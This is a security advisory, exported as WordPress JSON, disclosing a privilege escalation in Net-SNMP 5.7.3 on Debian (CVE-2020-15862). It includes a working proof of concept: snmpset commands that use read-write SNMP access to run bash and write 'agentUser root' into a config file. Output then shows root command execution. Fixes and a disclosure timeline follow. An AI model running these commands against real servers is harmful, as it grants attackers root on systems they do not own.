{"id":16709,"date":"2021-07-08T13:33:43","date_gmt":"2021-07-08T11:33:43","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2020-0059\/"},"modified":"2021-07-19T14:17:16","modified_gmt":"2021-07-19T12:17:16","slug":"usd-2020-0059","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2020-0059\/","title":{"rendered":"usd-2020-0059"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2020-0059 | Net-SNMP v5.7.3<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2020-0059<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2020-15862<\/span><br \/><strong>Affected Product<\/strong><span>: Net-SNMP<\/span><br \/><strong>Affected Version<\/strong><span>: 5.7.3<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Elevation of Privileges<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"http:\/\/www.net-snmp.org\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.net-snmp.org\/<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (Debian-snmp), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>After installing the SNMP daemon on a Debian based system (e.g. <\/span><code>apt install snmpd<\/code><span>), a new user account(Debian-snmp) is created by the installer:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]root:x:0:0:root:\/root:\/bin\/bash<br \/>\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br \/>\n[..SNIP..]<br \/>\nDebian-snmp:x:122:127::\/var\/lib\/snmp:\/bin\/false<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]ubuntu@ubuntu:~$ cat \/lib\/systemd\/system\/snmpd.service<br \/>\n[Unit]<br \/>\nDescription=Simple Network Management Protocol (SNMP) Daemon.<br \/>\nAfter=network.target<br \/>\nConditionPathExists=\/etc\/snmp\/snmpd.conf<\/p>\n<p>[Service]<br \/>\nEnvironment=\"MIBSDIR=\/usr\/share\/snmp\/mibs:\/usr\/share\/snmp\/mibs\/iana:\/usr\/share\/snmp\/mibs\/ietf:\/usr\/share\/mibs\/site:\/usr\/share\/snmp\/mibs:\/usr\/share\/mibs\/iana:\/usr\/share\/mibs\/ietf:\/usr\/share\/mibs\/netsnmp\"<br \/>\nEnvironment=\"MIBS=\"<br \/>\nType=simple<br \/>\nExecStartPre=\/bin\/mkdir -p \/var\/run\/agentx<br \/>\nExecStart=\/usr\/sbin\/snmpd -Lsd -Lf \/dev\/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f<br \/>\nExecReload=\/bin\/kill -HUP $MAINPID<\/p>\n<p>[Install]<br \/>\nWantedBy=multi-user.target<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<div class=\"x-text\">\n<p>In the following it is assumed that an attacker has <strong>read-write<\/strong> access to the SNMP service and is able to use the <code>NET-SNMP-EXTEND-MIB<\/code>extension. The following snipped shows how an attacker can abuse the<strong> read-write<\/strong> access to execute the operating system command <code>id<\/code>on the remote SNMP server:<\/p>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]ubuntu@ubuntu:~$ cat setup.sh<br \/>\nsnmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \\<br \/>\n    'nsExtendStatus.\"example\"'  = createAndGo \\<br \/>\n    'nsExtendCommand.\"example\"' = \/bin\/bash \\<br \/>\n    'nsExtendArgs.\"example\"'    = '-c id'<br \/>\nubuntu@ubuntu:~$ bash setup.sh<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"example\" = INTEGER: createAndGo(4)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"example\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"example\" = STRING: -c id<br \/>\nubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"example\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"example\" = STRING: -c id<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendInput.\"example\" = STRING:<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCacheTime.\"example\" = INTEGER: 5<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendExecType.\"example\" = INTEGER: exec(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendRunType.\"example\" = INTEGER: run-on-read(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStorage.\"example\" = INTEGER: volatile(2)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"example\" = INTEGER: active(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutput1Line.\"example\" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"example\" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutNumLines.\"example\" = INTEGER: 1<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendResult.\"example\" = INTEGER: 0<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutLine.\"example\".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<div class=\"x-text\">\n<div class=\"x-text\">\n<p>As one can see, the command is executed as the Debian-snmp user and the attacker does not gain root access directly. However, during startup the snmpd daemon loads configuration files from different locations of the file system. One of them is the folder <code>\/var\/lib\/snmp\/<\/code>, which is the home directory of the Debian-snmp user. Since Debian-snmp has write access to the corresponding directory, it is possible for this user to write a new configuration file. The following snipped demonstrates, how an attacker can write a new configuration file by using <b>read-write<\/b> access to the snmp service. The newly created configuration just contains the option <code>agentUser root<\/code>.<\/p>\n<\/div>\n<div class=\"x-text\">\n<p>After the snmpd daemon was restarted, it no longer runs as the low privileged user account, but instead as the root user:<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]ubuntu@ubuntu:~$ cat priv.sh<br \/>\nsnmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \\<br \/>\n    'nsExtendStatus.\"priv\"'  = createAndGo \\<br \/>\n    'nsExtendCommand.\"priv\"' = \/bin\/bash \\<br \/>\n    'nsExtendArgs.\"priv\"'    = '-c \"echo agentUser root &gt; \/var\/lib\/snmp\/snmpd.local.conf\"'<br \/>\nubuntu@ubuntu:~$ bash priv.sh<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"priv\" = INTEGER: createAndGo(4)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"priv\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"priv\" = STRING: -c \\\"echo agentUser root &gt; \/var\/lib\/snmp\/snmpd.local.conf\\\"<br \/>\nubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"priv\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"priv\" = STRING: -c \\\"echo agentUser root &gt; \/var\/lib\/snmp\/snmpd.local.conf\\\"<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendInput.\"priv\" = STRING:<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCacheTime.\"priv\" = INTEGER: 5<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendExecType.\"priv\" = INTEGER: exec(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendRunType.\"priv\" = INTEGER: run-on-read(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStorage.\"priv\" = INTEGER: volatile(2)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"priv\" = INTEGER: active(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutput1Line.\"priv\" = STRING:<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"priv\" = STRING:<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutNumLines.\"priv\" = INTEGER: 1<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendResult.\"priv\" = INTEGER: 0<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutLine.\"priv\".1 = STRING<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]ubuntu@ubuntu:~$ cat setup.sh<br \/>\nsnmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \\<br \/>\n    'nsExtendStatus.\"example\"'  = createAndGo \\<br \/>\n    'nsExtendCommand.\"example\"' = \/bin\/bash \\<br \/>\n    'nsExtendArgs.\"example\"'    = '-c id'<br \/>\nubuntu@ubuntu:~$ bash setup.sh<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"example\" = INTEGER: createAndGo(4)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"example\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"example\" = STRING: -c id<br \/>\nubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCommand.\"example\" = STRING: \/bin\/bash<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendArgs.\"example\" = STRING: -c id<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendInput.\"example\" = STRING:<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendCacheTime.\"example\" = INTEGER: 5<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendExecType.\"example\" = INTEGER: exec(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendRunType.\"example\" = INTEGER: run-on-read(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStorage.\"example\" = INTEGER: volatile(2)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendStatus.\"example\" = INTEGER: active(1)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutput1Line.\"example\" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"example\" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutNumLines.\"example\" = INTEGER: 1<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendResult.\"example\" = INTEGER: 0<br \/>\nNET-SNMP-EXTEND-MIB::nsExtendOutLine.\"example\".1 = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>This way, the attacker can execute commands as the root user. This bypasses the intended account separation and allows every user with <b>read-write<\/b> access to the SNMP service (including the Debian-snmp user itself) to escalate privileges to root.<\/p>\n<p>The attack described above requires a restart of the SNMP service. However, it should be noticed that this can often be enforced by the attacker. For example, the attacker can use command execution as Debian-snmp to kill the running snmpd instance. If the service is configured to restart automatically, this is sufficient to gain root access.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>There are different possibilities to fix this issue.<\/p>\n<ol>\n<li>The NET-SNMP service could ignore the configuration files inside <code>\/var\/lib\/snmp<\/code> or restrict possible options that can be configured by these files.<\/li>\n<li>The installer of NET-SNMP could create the configuration files inside <code>\/var\/lib\/snmp<\/code> automatically and set these files read-only.<\/li>\n<li>The systemd service sets the SNMP user on the command line. This option could also be favored instead of the configuration file. However, one of the previous two suggestions should be preferred.<\/li>\n<\/ol>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2020-07-09 First contact request via Github at <a href=\"https:\/\/github.com\/net-snmp\/net-snmp\/issues\/145\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/net-snmp\/net-snmp\/issues\/145<\/a><\/li>\n<li>2020-07-16 Net-SNMP v5.8 is released and fixes the vulnerability<\/li>\n<li>2020-09-29 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2020-0059 | Net-SNMP v5.7.3 Advisory ID: usd-2020-0059CVE Number: CVE-2020-15862Affected Product: Net-SNMPAffected Version: 5.7.3Vulnerability Type: Elevation of PrivilegesSecurity Risk: HighVendor URL: http:\/\/www.net-snmp.org\/Vendor Status: Fixed Description The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16709","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16709","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16709"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16709\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16709"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}